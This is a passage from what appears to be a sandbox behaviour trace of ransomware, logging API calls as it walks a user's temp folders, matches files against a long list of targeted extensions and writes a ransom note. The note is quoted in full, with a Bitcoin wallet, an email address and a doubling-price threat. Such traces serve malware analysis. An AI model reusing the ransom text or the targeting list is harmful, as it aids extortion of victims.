Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.asm") returned 0 [0086.773] lstrlenA (lpString="*.asm") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.pfx") returned 0 [0086.773] lstrlenA (lpString="*.pfx") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.pem") returned 0 [0086.773] lstrlenA (lpString="*.pem") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.p12") returned 0 [0086.773] lstrlenA (lpString="*.p12") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.gpg") returned 0 [0086.773] lstrlenA (lpString="*.gpg") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.vsd") returned 0 [0086.773] lstrlenA (lpString="*.vsd") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.odg") returned 0 [0086.774] lstrlenA (lpString="*.odg") returned 5 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.raw") returned 0 [0086.774] lstrlenA (lpString="*.raw") returned 5 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.nef") returned 0 [0086.774] lstrlenA (lpString="*.nef") returned 5 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.svg") returned 0 [0086.774] lstrlenA (lpString="*.svg") returned 5 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.psd") returned 0 [0086.774] lstrlenA (lpString="*.psd") returned 5 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.vmx") returned 0 [0086.774] lstrlenA (lpString="*.vmx") returned 5 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.vmdk") returned 0 [0086.774] lstrlenA (lpString="*.vmdk") returned 6 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.vdi") returned 0 [0086.774] lstrlenA (lpString="*.vdi") returned 5 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.lay6") returned 0 [0086.774] lstrlenA (lpString="*.lay6") returned 6 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.mpeg") returned 0 [0086.774] lstrlenA (lpString="*.mpeg") returned 6 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.djvu") returned 0 [0086.774] lstrlenA (lpString="*.djvu") returned 6 [0086.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.tiff") returned 0 [0086.775] lstrlenA (lpString="*.tiff") returned 6 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.backup") returned 0 [0086.775] lstrlenA (lpString="*.backup") returned 8 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.pdf") returned 0 [0086.775] lstrlenA (lpString="*.pdf") returned 5 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.cert") returned 0 [0086.775] lstrlenA (lpString="*.cert") returned 6 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.docm") returned 0 [0086.775] lstrlenA (lpString="*.docm") returned 6 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.xlsm") returned 0 [0086.775] lstrlenA (lpString="*.xlsm") returned 6 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.dwg") returned 0 [0086.775] lstrlenA (lpString="*.dwg") returned 5 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.nd") returned 0 [0086.775] lstrlenA (lpString="*.nd") returned 4 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.tlg") returned 0 [0086.775] lstrlenA (lpString="*.tlg") returned 5 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.lgb") returned 0 [0086.775] lstrlenA (lpString="*.lgb") returned 5 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.mov") returned 0 [0086.775] lstrlenA (lpString="*.mov") returned 5 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.xdw") returned 0 [0086.775] lstrlenA (lpString="*.xdw") returned 5 [0086.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.ods") returned 0 [0086.776] lstrlenA (lpString="*.ods") returned 5 [0086.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.wav") returned 0 [0086.776] lstrlenA (lpString="*.wav") returned 5 [0086.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.mp3") returned 0 [0086.776] lstrlenA (lpString="*.mp3") returned 5 [0086.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.aiff") returned 0 [0086.776] lstrlenA (lpString="*.aiff") returned 6 [0086.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.flac") returned 0 [0086.776] lstrlenA (lpString="*.flac") returned 6 [0086.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.m4a") returned 0 [0086.776] lstrlenA (lpString="*.m4a") returned 5 [0086.776] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.csv") returned 0 [0086.776] lstrlenA (lpString="*.csv") returned 5 [0086.776] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0086.776] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0086.776] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 1 [0086.776] lstrcmpA (lpString1=".", lpString2="XT1RPYG9") returned -1 [0086.776] lstrcmpA (lpString1="..", lpString2="XT1RPYG9") returned -1 [0086.776] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*.*") returned="*.*" [0086.776] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\", lpString2="XT1RPYG9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9" [0086.776] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9") returned 94 [0086.777] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0086.777] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.777] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.777] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.777] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.777] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.777] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0086.777] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0086.777] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0086.777] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0086.777] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*.*") returned="*.*" [0086.777] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\" [0086.777] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\") returned="" [0086.778] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\HOW TO DECRYPT FILES.txt" [0086.778] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\how to decrypt files.txt")) returned 0xffffffff [0086.778] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0086.778] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.779] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.781] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.781] CloseHandle (hObject=0x9c) returned 1 [0086.781] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini" [0086.781] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.ems") returned 0 [0086.781] lstrlenA (lpString="*.ems") returned 5 [0086.781] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.db") returned 0 [0086.781] lstrlenA (lpString="*.db") returned 4 [0086.781] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.dbf") returned 0 [0086.781] lstrlenA (lpString="*.dbf") returned 5 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.myox") returned 0 [0086.782] lstrlenA (lpString="*.myox") returned 6 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.myo") returned 0 [0086.782] lstrlenA (lpString="*.myo") returned 5 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.qbw") returned 0 [0086.782] lstrlenA (lpString="*.qbw") returned 5 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.qbb") returned 0 [0086.782] lstrlenA (lpString="*.qbb") returned 5 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.qbm") returned 0 [0086.782] lstrlenA (lpString="*.qbm") returned 5 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.qbo") returned 0 [0086.782] lstrlenA (lpString="*.qbo") returned 5 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.qbx") returned 0 [0086.782] lstrlenA (lpString="*.qbx") returned 5 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.qba") returned 0 [0086.782] lstrlenA (lpString="*.qba") returned 5 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.qby") returned 0 [0086.782] lstrlenA (lpString="*.qby") returned 5 [0086.782] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.qbj") returned 0 [0086.782] lstrlenA (lpString="*.qbj") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.ofx") returned 0 [0086.783] lstrlenA (lpString="*.ofx") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.qif") returned 0 [0086.783] lstrlenA (lpString="*.qif") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.mye") returned 0 [0086.783] lstrlenA (lpString="*.mye") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.mbox") returned 0 [0086.783] lstrlenA (lpString="*.mbox") returned 6 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.eml") returned 0 [0086.783] lstrlenA (lpString="*.eml") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.pst") returned 0 [0086.783] lstrlenA (lpString="*.pst") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.ost") returned 0 [0086.783] lstrlenA (lpString="*.ost") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.idx") returned 0 [0086.783] lstrlenA (lpString="*.idx") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.dbx") returned 0 [0086.783] lstrlenA (lpString="*.dbx") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.sql") returned 0 [0086.783] lstrlenA (lpString="*.sql") returned 5 [0086.783] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.mdb") returned 0 [0086.783] lstrlenA (lpString="*.mdb") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.fdb") returned 0 [0086.784] lstrlenA (lpString="*.fdb") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.wab") returned 0 [0086.784] lstrlenA (lpString="*.wab") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.dat") returned 0 [0086.784] lstrlenA (lpString="*.dat") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.txt") returned 0 [0086.784] lstrlenA (lpString="*.txt") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.jpeg") returned 0 [0086.784] lstrlenA (lpString="*.jpeg") returned 6 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.jpg") returned 0 [0086.784] lstrlenA (lpString="*.jpg") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.png") returned 0 [0086.784] lstrlenA (lpString="*.png") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.php") returned 0 [0086.784] lstrlenA (lpString="*.php") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.cs") returned 0 [0086.784] lstrlenA (lpString="*.cs") returned 4 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.cpp") returned 0 [0086.784] lstrlenA (lpString="*.cpp") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.rar") returned 0 [0086.784] lstrlenA (lpString="*.rar") returned 5 [0086.784] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini", pszSpec="*.zip") returned 0 [0086.785] lstrlenA (lpString="*.zip") returned 